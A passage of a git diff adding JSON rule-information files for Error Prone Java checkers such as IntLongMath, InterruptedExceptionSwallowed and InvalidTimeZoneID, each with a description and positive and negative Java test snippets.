(SuperClass) foo;\n }\n }\n\n public static String testCall() {\n return \"\";\n }\n }\n\n class SuperClass {}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 200 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.io.FilterWriter;\nimport java.io.StringWriter;\nimport java.io.Writer;\n\n/**\n * Created by sulku and mariasam on 6/6/17.\n *\n * @author mariasam (Maria Sam)\n * @author sulku (Marsela Sulku)\n */\npublic class InstanceOfAndCastMatchWrongTypeNegativeCases {\n\n public static void notCustomClass(Object objSubClass) {\n if (!(objSubClass instanceof SuperNegativeClass)) {\n DisjointClass str = (DisjointClass) objSubClass;\n }\n }\n\n public static void hi(String foo) {\n if (foo instanceof String) {\n ((String) foo).charAt(0);\n }\n }\n\n public static void castToSameClass(String foo) {\n if (foo instanceof String) {\n ((String) foo).charAt(0);\n }\n }\n\n public static void castToSameClassWithExtraLines(String foo) {\n if (foo instanceof String) {\n String somethingBefore = \"hello\";\n ((String) foo).charAt(0);\n String somethingAfter = \"goodbye\";\n }\n }\n\n public static void castAMethod() {\n if (testCall() instanceof String) {\n String bar = (String) testCall();\n }\n }\n\n public static void castToSuperType(String foo) {\n if (foo instanceof String) {\n Object bar = ((Object) foo).toString();\n }\n }\n\n public static void castMethodToSuperType(String foo) {\n if (testCall() instanceof String) {\n Object bar = (Object) testCall();\n }\n }\n\n public static void castToCustomSuperType() {\n SuperNegativeClass superClass = new SuperNegativeClass();\n SubNegativeClass subClass = new SubNegativeClass();\n\n if (subClass instanceof SubNegativeClass) {\n String str = ((SuperNegativeClass) subClass).toString();\n }\n }\n\n public static void castToSubtype(String foo) {\n if (foo instanceof Object) {\n String somethingBefore = \"hello\";\n String bar = ((String) foo).toString();\n String somethingAfter = \"goodbye\";\n }\n }\n\n public static void nestedIfStatements(String foo) {\n if (7 == 7) {\n if (foo instanceof Object) {\n String bar = ((String) foo).toString();\n }\n }\n }\n\n public static void castMethodToSubType() {\n if (testCall() instanceof Object) {\n String bar = ((String) testCall()).toString();\n }\n }\n\n public static void castAMethodInElse() {\n if (testCall() instanceof Object) {\n String str = \"\";\n } else {\n String bar = ((String) testCall()).toString();\n }\n }\n\n public static void nestedIfOutside() {\n SubNegativeClass subClass = new SubNegativeClass();\n if (subClass instanceof SuperNegativeClass) {\n if (7 == 7) {\n String bar = ((SuperNegativeClass) subClass).toString();\n }\n }\n }\n\n public static void nestedIfElseInIf() {\n SubNegativeClass subClass = new SubNegativeClass();\n if (subClass instanceof SuperNegativeClass) {\n if (7 == 7) {\n String bar = ((SuperNegativeClass) subClass).toString();\n } else {\n String str = \"\";\n }\n }\n }\n\n public static void elseIfMethod() {\n if (testCall() instanceof Object) {\n String str = \"\";\n } else if (7 == 7) {\n String bar = ((String) testCall()).toString();\n } else {\n String str = \"\";\n }\n }\n\n public static void nestedSubClasses(Object objSubClass) {\n if (objSubClass instanceof SuperNegativeClass) {\n if (objSubClass instanceof DisjointClass) {\n DisjointClass disClass = (DisjointClass) objSubClass;\n }\n }\n }\n\n public static void switchCaseStatement(Object objSubClass) {\n Integer datatype = 0;\n if (objSubClass instanceof SuperNegativeClass) {\n String str = \"\";\n } else {\n switch (datatype) {\n case 0:\n DisjointClass str = (DisjointClass) objSubClass;\n break;\n default:\n break;\n }\n }\n }\n\n public static void nestedAnd(String foo, Object foo3) {\n if (foo instanceof String) {\n if (foo3 instanceof SuperNegativeClass && ((SuperNegativeClass) foo3).toString().equals(\"\")) {\n String str = foo3.toString();\n }\n }\n }\n\n private static void multipleElseIf(Object foo3) {\n if (foo3 instanceof String) {\n String str = \"\";\n } else if (7 == 7 && foo3 instanceof SuperNegativeClass) {\n ((SuperNegativeClass) foo3).toString();\n } else if (8 == 8) {\n DisjointClass dis = (DisjointClass) foo3;\n }\n }\n\n private static void orInCondition(Object foo3) {\n if (foo3 instanceof String || 7 == 7) {\n String str = ((DisjointClass) foo3).toString();\n }\n }\n\n private static void castInElse(Object foo3) {\n if (foo3 instanceof String) {\n String str = \"\";\n } else {\n String str = ((DisjointClass) foo3).toString();\n }\n }\n\n private static void multipleObjectCasts(Object foo2, Object foo3) {\n if (foo3 instanceof String) {\n String str = ((DisjointClass) foo2).toString();\n } else {\n String str = ((DisjointClass) foo3).toString();\n }\n }\n\n private static void orsAndAnds(Object foo2) {\n if (7 == 7 && (foo2 instanceof DisjointClass) && (!((DisjointClass) foo2).equals(\"\"))) {\n String str = \"\";\n }\n }\n\n private static void assignmentInBlock(Object foo2) {\n if (foo2 instanceof SuperNegativeClass) {\n foo2 = \"\";\n String str = ((Integer) foo2).toString();\n }\n }\n\n private static void assignmentInBlockElse(Object foo2) {\n String foo1;\n if (foo2 instanceof SuperNegativeClass) {\n String str = \"\";\n } else {\n foo1 = \"\";\n String str = ((Integer) foo2).toString();\n }\n }\n\n private static void assignmentInBlockElseIf(Object foo2) {\n Object foo1 = null;\n if (foo2 instanceof SuperNegativeClass) {\n String str = \"\";\n } else if (foo2 == foo1) {\n foo1 = \"\";\n String str = ((Integer) foo2).toString();\n }\n }\n\n private static void innerClassDecl(Object[] list) {\n for (Object c : list) {\n if (c instanceof String) {\n try {\n Writer fw =\n new FilterWriter(new StringWriter()) {\n public void write(int c) {\n char a = (char) c;\n }\n };\n } catch (Exception e) {\n String str = \"\";\n }\n }\n }\n }\n\n private static void randomCode(Object foo) {\n if (7 == 7) {\n System.out.println(\"test\");\n foo = (Integer) foo;\n }\n }\n\n private static void twoAssignments(Object foo, Object foo2) {\n if (foo instanceof String) {\n foo2 = \"\";\n String str = (String) foo;\n foo = \"\";\n }\n }\n\n public static String testCall() {\n return \"\";\n }\n\n public static Object testCallReturnsObject() {\n return new Object();\n }\n\n static class SuperNegativeClass {}\n\n static class SubNegativeClass extends SuperNegativeClass {}\n\n static class DisjointClass {}\n}\\" + }, + { + "description": "regressionTestIssue651", + "expected-problems": null, + "expected-linenumbers": [ + 479 + ], + "code": "class Foo {\n void foo() {\n Object[] values = null;\n if (values[0] instanceof Integer) {\n int x = (Integer) values[0];\n } else if (values[0] instanceof Long) {\n long y = (Long) values[0];\n }\n }\n }" + }, + { + "description": "handlesArrayAccessOnIdentifier", + "expected-problems": null, + "expected-linenumbers": [ + 499 + ], + "code": "" + }, + { + "description": "doesNotHandleArrayAccessOnNonIdentifiers", + "expected-problems": null, + "expected-linenumbers": [ + 518 + ], + "code": "class Foo {\n private Object[] getArray() {\n return new Object[0];\n }\n\n void doIt() {\n if (getArray()[0] instanceof Integer) {\n String s0 = (String) getArray()[0];\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IntFloatConversion.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IntFloatConversion.json new file mode 100644 index 0000000..a3f734e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IntFloatConversion.json @@ -0,0 +1,30 @@ +{ + "name": "IntFloatConversion", + "language": "java", + "description": "Conversion from int to float may lose precision; use an explicit cast to float if this was intentional", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n double f(int x) {\n // BUG: Diagnostic contains:\n return Math.scalb(x, 2);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "class Test {\n float f(int x) {\n return Math.scalb(x, 2);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IntLiteralCast.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IntLiteralCast.json new file mode 100644 index 0000000..588a40c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IntLiteralCast.json @@ -0,0 +1,30 @@ +{ + "name": "IntLiteralCast", + "language": "java", + "description": "Consider using a literal of the desired type instead of casting an int literal", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import java.util.Arrays;\n import java.util.List;\n\n class Test {\n void f() {\n long l = (long) 1 << 32;\n l = (long) 0;\n float f = 1.0f;\n double d = 1.0;\n List floats = Arrays.asList((float) 0, (float) 1, (float) 2);\n }\n }\n \n\n import java.util.Arrays;\n import java.util.List;\n\n class Test {\n void f() {\n long l = 1L << 32;\n l = 0L;\n float f = 1f;\n double d = 1d;\n List floats = Arrays.asList(0.0f, 1.0f, 2.0f);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "class Test {\n void f() {\n long l = (int) 1 << 32;\n long m = (long) 1L << 32;\n int i = 42;\n long n = (long) i << 32;\n double d = (double) 042;\n d = (double) 0x42;\n d = (double) 0b10;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IntLongMath.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IntLongMath.json new file mode 100644 index 0000000..22cf5dc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IntLongMath.json @@ -0,0 +1,38 @@ +{ + "name": "IntLongMath", + "language": "java", + "description": "Expression of type int may overflow before being assigned to a long", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 116, + "branches": 19, + "apis": 1, + "test": [ + { + "description": "ignoreNonWideningAssignments", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n int f(int x) {\n return x + 3;\n }\n\n long g(long x) {\n return x + 3;\n }\n\n int h(long x) {\n return (int) (x + 3);\n }\n\n long i(int x) {\n // BUG: Diagnostic contains: x + 3L\n return x + 3;\n }\n }" + }, + { + "description": "lambda", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "import java.util.function.Function;\n\n class Test {\n interface F {\n long f(int i);\n }\n\n F f =\n i -> {\n // BUG: Diagnostic contains: return i + 3L\n return i + 3;\n };\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "class Test {\n static final int MILLION = 1_000_000;\n\n long f(int x) {\n long r = (x + 3) * MILLION / 3;\n r = (x / 3) * MILLION / 3;\n r = x / 3;\n r = x + 3;\n return r;\n }\n }\n \n\n class Test {\n static final int MILLION = 1_000_000;\n\n long f(int x) {\n long r = (x + 3L) * MILLION / 3;\n r = (long) (x / 3) * MILLION / 3;\n r = x / 3;\n r = x + 3L;\n return r;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InterfaceWithOnlyStatics.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InterfaceWithOnlyStatics.json new file mode 100644 index 0000000..75aa3c3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InterfaceWithOnlyStatics.json @@ -0,0 +1,94 @@ +{ + "name": "InterfaceWithOnlyStatics", + "language": "java", + "description": "This interface only contains static fields and methods; consider making it a final class instead to prevent subclassing.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 113, + "branches": 14, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "// BUG: Diagnostic contains: InterfaceWithOnlyStatics\n interface Test {\n public static final int foo = 42;\n }" + }, + { + "description": "negative_hasNonStaticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "interface Test {\n public static final int foo = 42;\n\n int bar();\n }" + }, + { + "description": "negative_notInterface", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "class Test {\n public static final int foo = 42;\n }" + }, + { + "description": "negative_annotation", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "@interface Test {\n public static final int foo = 42;\n }" + }, + { + "description": "negative_extends", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "interface Test extends A {\n int foo = 42;\n\n static int bar() {\n return 1;\n }\n }" + }, + { + "description": "negative_daggerModules", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "package dagger;\n\n public @interface Module {}\n \n\n import dagger.Module;\n\n @Module\n interface Test {\n public static final int foo = 42;\n }" + }, + { + "description": "negative_daggerModules_producerModule", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "package dagger.producers;\n\n public @interface ProducerModule {}\n \n\n import dagger.producers.ProducerModule;\n\n @ProducerModule\n interface Test {\n public static final int foo = 42;\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 154 + ], + "code": "interface Test {\n int foo = 42;\n\n static int bar() {\n return 1;\n }\n }\n \n\n final class Test {\n public static final int foo = 42;\n\n public static int bar() {\n return 1;\n }\n\n private Test() {}\n }" + }, + { + "description": "refactoring_innerClass", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "class Foo {\n interface Test {\n int foo = 42;\n }\n }\n \n\n class Foo {\n static final class Test {\n public static final int foo = 42;\n\n private Test() {}\n }\n }" + }, + { + "description": "negativeSealed", + "expected-problems": null, + "expected-linenumbers": [ + 210 + ], + "code": "sealed interface Test {\n record A() implements Test {}\n\n record B() implements Test {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InterruptedExceptionSwallowed.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InterruptedExceptionSwallowed.json new file mode 100644 index 0000000..0dddb29 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InterruptedExceptionSwallowed.json @@ -0,0 +1,198 @@ +{ + "name": "InterruptedExceptionSwallowed", + "language": "java", + "description": "This catch block appears to be catching an explicitly declared InterruptedException as an Exception/Throwable and not handling the interruption separately.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 213, + "branches": 25, + "apis": 4, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 41 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) {\n try {\n throw new Exception();\n } catch (Exception e) {\n throw new IllegalStateException(e);\n }\n }\n }" + }, + { + "description": "negativeNestedCatch", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) {\n try {\n try {\n future.get();\n } catch (InterruptedException e) {\n }\n } catch (Exception e) {\n throw new IllegalStateException(e);\n }\n }\n }" + }, + { + "description": "positiveRethrown", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) {\n try {\n try {\n future.get();\n } catch (InterruptedException e) {\n throw e;\n }\n // BUG: Diagnostic contains:\n } catch (Exception e) {\n throw new IllegalStateException(e);\n }\n }\n }" + }, + { + "description": "thrownByClose_throwsClauseTooBroad", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n // BUG: Diagnostic contains:\n void test() throws Exception {\n try (Thrower t = new Thrower()) {}\n }\n }" + }, + { + "description": "thrownByClose_caughtByOuterCatch", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void test() {\n try {\n try (Thrower t = new Thrower()) {}\n // BUG: Diagnostic contains:\n } catch (Exception e) {\n }\n }\n }" + }, + { + "description": "negative_fieldNamedClose", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n class Mischief implements AutoCloseable {\n public int close = 1;\n\n public void close() {}\n }\n\n void test() {\n try (Mischief m = new Mischief()) {}\n }\n }" + }, + { + "description": "negative_rethrown", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void test() throws InterruptedException, Exception {\n try {\n try (Thrower t = new Thrower()) {}\n } catch (Exception e) {\n throw e;\n }\n }\n }" + }, + { + "description": "thrownByClose_inherited", + "expected-problems": null, + "expected-linenumbers": [ + 195 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n class ThrowingParent implements AutoCloseable {\n public void close() throws InterruptedException {}\n }\n\n class ThrowingChild extends ThrowingParent {}\n\n // BUG: Diagnostic contains:\n void test() throws Exception {\n try (ThrowingChild t = new ThrowingChild()) {}\n }\n }" + }, + { + "description": "thrownByClose_swallowedSilently", + "expected-problems": null, + "expected-linenumbers": [ + 219 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void test() {\n try (Thrower t = new Thrower()) {\n // BUG: Diagnostic contains:\n } catch (Exception e) {\n }\n }\n }" + }, + { + "description": "positiveThrowFromCatch", + "expected-problems": null, + "expected-linenumbers": [ + 239 + ], + "code": "import java.util.concurrent.ExecutionException;\n import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) {\n try {\n try {\n future.get();\n } catch (ExecutionException e) {\n if (e.getCause() instanceof IllegalStateException) {\n throw new InterruptedException();\n }\n } catch (InterruptedException e) {\n Thread.currentThread().interrupt();\n throw new IllegalStateException(e);\n }\n // BUG: Diagnostic contains:\n } catch (Exception e) {\n }\n }\n }" + }, + { + "description": "checkedViaInstanceof_noWarning", + "expected-problems": null, + "expected-linenumbers": [ + 270 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) {\n try {\n throw new Exception();\n } catch (Exception e) {\n if (e instanceof InterruptedException) {\n Thread.currentThread().interrupt();\n }\n throw new IllegalStateException(e);\n }\n }\n }" + }, + { + "description": "positiveSimpleCase", + "expected-problems": null, + "expected-linenumbers": [ + 294 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) {\n try {\n future.get();\n // BUG: Diagnostic contains:\n } catch (Exception e) {\n throw new IllegalStateException(e);\n }\n }\n }" + }, + { + "description": "positiveRefactoring", + "expected-problems": null, + "expected-linenumbers": [ + 316 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) {\n try {\n future.get();\n } catch (Exception e) {\n throw new IllegalStateException(e);\n }\n }\n }\n \n\n import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) {\n try {\n future.get();\n } catch (Exception e) {\n if (e instanceof InterruptedException) {\n Thread.currentThread().interrupt();\n }\n throw new IllegalStateException(e);\n }\n }\n }" + }, + { + "description": "positiveRefactoringEmptyCatch", + "expected-problems": null, + "expected-linenumbers": [ + 355 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) {\n try {\n future.get();\n } catch (Exception e) {\n }\n }\n }\n \n\n import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) {\n try {\n future.get();\n } catch (Exception e) {\n if (e instanceof InterruptedException) {\n Thread.currentThread().interrupt();\n }\n }\n }\n }" + }, + { + "description": "negativeExplicitlyListed", + "expected-problems": null, + "expected-linenumbers": [ + 392 + ], + "code": "import java.util.concurrent.ExecutionException;\n import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) {\n try {\n future.get();\n } catch (ExecutionException | InterruptedException e) {\n throw new IllegalStateException(e);\n }\n }\n }" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 414 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) {\n try {\n future.get();\n } catch (\n @SuppressWarnings(\"InterruptedExceptionSwallowed\")\n Exception e) {\n throw new IllegalStateException(e);\n }\n }\n }" + }, + { + "description": "hiddenInMethodThrows", + "expected-problems": null, + "expected-linenumbers": [ + 437 + ], + "code": "import java.util.concurrent.ExecutionException;\n import java.util.concurrent.Future;\n\n class Test {\n // BUG: Diagnostic contains:\n void test(Future future) throws Exception {\n future.get();\n throw new IllegalStateException();\n }\n }\n \n\n import java.util.concurrent.ExecutionException;\n import java.util.concurrent.Future;\n\n class Test {\n // BUG: Diagnostic contains:\n void test(Future future) throws ExecutionException, InterruptedException {\n future.get();\n throw new IllegalStateException();\n }\n }" + }, + { + "description": "hiddenInMethodThrows_butActuallyThrowsException_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 471 + ], + "code": "import java.util.concurrent.ExecutionException;\n import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) throws Exception {\n future.get();\n throw new Exception();\n }\n }" + }, + { + "description": "hiddenInMethodThrows_throwsSimplified", + "expected-problems": null, + "expected-linenumbers": [ + 490 + ], + "code": "import java.io.IOException;\n import java.io.FileNotFoundException;\n import java.util.concurrent.ExecutionException;\n import java.util.concurrent.Future;\n\n class Test {\n // BUG: Diagnostic contains: ExecutionException, IOException, InterruptedException\n void test(Future future) throws Exception {\n future.get();\n if (true) {\n throw new IOException();\n } else {\n throw new FileNotFoundException();\n }\n }\n }" + }, + { + "description": "hiddenInMethodThrows_bailsIfTooManySpecificExceptions", + "expected-problems": null, + "expected-linenumbers": [ + 516 + ], + "code": "import java.io.IOException;\n import java.util.concurrent.ExecutionException;\n import java.util.concurrent.Future;\n import java.util.concurrent.TimeoutException;\n\n class Test {\n void test(Future future) throws Exception {\n future.get();\n if (hashCode() == 0) {\n throw new A();\n }\n if (hashCode() == 0) {\n throw new B();\n }\n if (hashCode() == 0) {\n throw new C();\n }\n if (hashCode() == 0) {\n throw new D();\n }\n if (hashCode() == 0) {\n throw new E();\n }\n }\n\n static class A extends Exception {}\n\n static class B extends Exception {}\n\n static class C extends Exception {}\n\n static class D extends Exception {}\n\n static class E extends Exception {}\n }" + }, + { + "description": "throwsExceptionButNoSignOfInterrupted", + "expected-problems": null, + "expected-linenumbers": [ + 561 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) throws Exception {\n throw new Exception();\n }\n }" + }, + { + "description": "declaredInMethodThrows", + "expected-problems": null, + "expected-linenumbers": [ + 578 + ], + "code": "import java.util.concurrent.ExecutionException;\n import java.util.concurrent.Future;\n\n class Test {\n void test(Future future) throws InterruptedException, ExecutionException {\n future.get();\n }\n }" + }, + { + "description": "declaredInMain", + "expected-problems": null, + "expected-linenumbers": [ + 596 + ], + "code": "import java.util.concurrent.ExecutionException;\n import java.util.concurrent.Future;\n\n public class Test {\n private static final Future future = null;\n\n public static void main(String[] argv) throws Exception {\n future.get();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Interruption.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Interruption.json new file mode 100644 index 0000000..7372774 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Interruption.json @@ -0,0 +1,86 @@ +{ + "name": "Interruption", + "language": "java", + "description": "Always pass 'false' to 'Future.cancel()', unless you are propagating a cancellation-with-interrupt from another caller", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 123, + "branches": 12, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void f(Future f, boolean b) {\n // BUG: Diagnostic contains: f.cancel(false)\n f.cancel(true);\n // BUG: Diagnostic contains: f.cancel(false)\n f.cancel(b);\n }\n }" + }, + { + "description": "positiveClosingFuture", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "import com.google.common.util.concurrent.ClosingFuture;\n\n class Test {\n void f(ClosingFuture f) {\n // BUG: Diagnostic contains: f.cancel(false)\n f.cancel(true);\n }\n }" + }, + { + "description": "positiveInterrupt", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "class Test {\n void f(Thread t) {\n // BUG: Diagnostic contains:\n t.interrupt();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "import java.util.concurrent.Future;\n\n class Test {\n void f(Future f) {\n f.cancel(false);\n }\n }" + }, + { + "description": "negativeWasInterrupted", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "import com.google.common.util.concurrent.AbstractFuture;\n\n class Test extends AbstractFuture {\n void f() {\n cancel(wasInterrupted());\n }\n }" + }, + { + "description": "negativeDelegate", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "import com.google.common.util.concurrent.AbstractFuture;\n import java.util.concurrent.Future;\n\n class Test extends AbstractFuture {\n void f(Future f) {\n new AbstractFuture() {\n @Override\n public boolean cancel(boolean mayInterruptIfRunning) {\n return f.cancel(mayInterruptIfRunning);\n }\n };\n }\n }" + }, + { + "description": "negativeInterrupt", + "expected-problems": null, + "expected-linenumbers": [ + 142 + ], + "code": "class Test {\n void f(Thread t) {\n Thread.currentThread().interrupt();\n }\n }" + }, + { + "description": "negativeInTestonlyCode", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import java.util.concurrent.Future;\n\n @RunWith(JUnit4.class)\n class FutureTest {\n Future f;\n\n @Test\n public void t() {\n f.cancel(true);\n }\n }" + }, + { + "description": "t", + "expected-problems": null, + "expected-linenumbers": [ + 172 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InvalidPatternSyntax.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InvalidPatternSyntax.json new file mode 100644 index 0000000..1c5695c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InvalidPatternSyntax.json @@ -0,0 +1,30 @@ +{ + "name": "InvalidPatternSyntax", + "language": "java", + "description": "Invalid syntax used for a regular expression", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.regex.Pattern;\n\n /**\n * @author mdempsky@google.com (Matthew Dempsky)\n */\n public class InvalidPatternSyntaxPositiveCases {\n public static final String INVALID = \"*\";\n\n {\n // BUG: Diagnostic contains: Unclosed character class\n Pattern.matches(\"[^\\\\\\\\]\", \"\");\n // BUG: Diagnostic contains: Unclosed character class\n Pattern.matches(\"[a-z\", \"\");\n // BUG: Diagnostic contains: Illegal repetition\n Pattern.matches(\"{\", \"\");\n\n // BUG: Diagnostic contains:\n Pattern.matches(INVALID, \"\");\n // BUG: Diagnostic contains:\n \"\".matches(INVALID);\n // BUG: Diagnostic contains:\n \"\".replaceAll(INVALID, \"\");\n // BUG: Diagnostic contains:\n \"\".replaceFirst(INVALID, \"\");\n // BUG: Diagnostic contains:\n \"\".split(INVALID);\n // BUG: Diagnostic contains:\n \"\".split(INVALID, 0);\n }\n }\\\n \n\n package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.regex.Pattern;\n\n /**\n * @author mdempsky@google.com (Matthew Dempsky)\n */\n public class InvalidPatternSyntaxNegativeCases {\n public void foo(String x) {\n Pattern.compile(\"t\");\n Pattern.compile(\"t\", 0);\n Pattern.matches(\"t\", \"\");\n \"\".matches(\"t\");\n \"\".replaceAll(\"t\", \"\");\n \"\".replaceFirst(\"t\", \"\");\n \"\".split(\"t\");\n \"\".split(\"t\", 0);\n\n Pattern.compile(x);\n Pattern.compile(x, 0);\n Pattern.matches(x, \"\");\n \"\".matches(x);\n \"\".replaceAll(x, \"\");\n \"\".replaceFirst(x, \"\");\n \"\".split(x);\n \"\".split(x, 0);\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.regex.Pattern;\n\n /**\n * @author mdempsky@google.com (Matthew Dempsky)\n */\n public class InvalidPatternSyntaxNegativeCases {\n public void foo(String x) {\n Pattern.compile(\"t\");\n Pattern.compile(\"t\", 0);\n Pattern.matches(\"t\", \"\");\n \"\".matches(\"t\");\n \"\".replaceAll(\"t\", \"\");\n \"\".replaceFirst(\"t\", \"\");\n \"\".split(\"t\");\n \"\".split(\"t\", 0);\n\n Pattern.compile(x);\n Pattern.compile(x, 0);\n Pattern.matches(x, \"\");\n \"\".matches(x);\n \"\".replaceAll(x, \"\");\n \"\".replaceFirst(x, \"\");\n \"\".split(x);\n \"\".split(x, 0);\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InvalidTimeZoneID.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InvalidTimeZoneID.json new file mode 100644 index 0000000..a79b21a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InvalidTimeZoneID.json @@ -0,0 +1,30 @@ +{ + "name": "InvalidTimeZoneID", + "language": "java", + "description": "Invalid time zone identifier. TimeZone.getTimeZone(String) will silently return GMT instead of the time zone you intended.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 10, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package a;\n\n import java.util.TimeZone;\n\n class A {\n private static final String TIMEZONE_ID = \"unknown\";\n\n public static void test() {\n // BUG: Diagnostic contains:\n TimeZone.getTimeZone(\"\");\n // BUG: Diagnostic contains:\n TimeZone.getTimeZone(\"unknown\");\n // BUG: Diagnostic contains:\n TimeZone.getTimeZone(TIMEZONE_ID);\n // BUG: 